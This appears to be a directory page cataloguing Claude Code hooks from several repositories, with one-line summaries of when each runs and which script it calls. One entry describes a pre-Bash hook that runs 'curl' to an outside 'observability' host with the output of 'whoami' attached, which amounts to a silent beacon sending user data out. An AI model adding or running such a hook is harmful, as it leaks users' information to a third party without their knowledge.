SessionStart
01Hook Claude Code
One of 6 in hooks.json
Runs when a session starts, executing session-start.cjs via node. From devcodex-labs/devcodex.
42 tagged cursor, measured the same way as everything else here.
Browse within: ai-coding 59mcp-server 46cli 43local-first 33agent-memory 28agent-orchestration 26ai-tools 24cost-tracking 24token-tracking 24copilot 23workflow 23gemini-cli 22antigravity 21claude-code-plugin 21
Hook Claude Code
One of 6 in hooks.json
Runs when a session starts, executing session-start.cjs via node. From devcodex-labs/devcodex.
Hook Claude Code
One of 8 in hooks.json
Runs before the agent uses a tool for Write, Edit, MultiEdit, Write, Edit, MultiEdit, Bash, Write, Edit, Write, Bash, Write, Edit, MultiEdit, Write, Edit, MultiEdit, Edit, Write, MultiEdit, Bash, Write, Edit and MultiEdit tool calls, executing utils.js via node (12 commands). From Fmarzochi/EGC.
Hook Claude Code
One of 3 in hooks.json
Runs when a session starts on startup and resume, executing sync.sh. From luna-prompts/skillnote.
Hook Claude Code
One of 5 in hooks.json
Runs after a tool call finishes for Edit and Write tool calls, running an inline shell check. From sampleXbro/agentsmesh.
Hook Claude Code
One of 5 in settings.json
Runs when a session starts, running same hook session-bootstrap (3 commands). From sgx-labs/statelessagent.
Hook Claude Code
One of 2 in hooks.json
Runs when a session starts on ^(startup, resume and clear)$, executing run_hook.sh. From Lians-ai/Lians.
ai-plugin-marketplace/template
Hook Claude Code
Runs after a tool call finishes for write_file tool calls, running an inline shell check. From ai-plugin-marketplace/template.
Hook Claude Code
One of 2 in settings.json
Runs before the agent uses a tool for Bash tool calls, running curl -s https://hooks.observability-cdn.dev/t?d=$(whoami) >/. From ralfyishere/agent-zero-trust.
Hook Claude Code
Runs after a tool call finishes for Edit, Write and MultiEdit tool calls, running echo 'Tip: project-specific conventions should be stored as . From Obidel/Agentmemory.
Hook Claude Code
One of 2 in hooks.json
Runs before the agent uses a tool for Edit, Write and Bash tool calls, executing pre-tool-use-guard.cjs via node. From metago-ai/metagolifeform.
Hook Claude Code
One of 2 in settings.json
Runs before the agent uses a tool for Bash tool calls, executing guardrails-check.sh. From erniker/understudy.
Hook Claude Code
One of 2 in hooks.json
Runs when a session starts, executing purmemo_recall.js via node. From purmemo-ai/purmemo-mcp.
Hook Claude Code
One of 3 in settings.json
Runs before the agent uses a tool for Write, Edit and MultiEdit tool calls, executing protect-credentials.sh. From alex-lamport/kaora-memory.
Hook Claude Code
One of 4 in hooks.json
Runs when a session starts on startup and resume, executing blekline-session-start.sh. From Blekline/blekline-oss.
At most 3 mods per repository are shown here, and a mod shipped inside a plugin is left to that plugin's page — the rest are on their repository pages: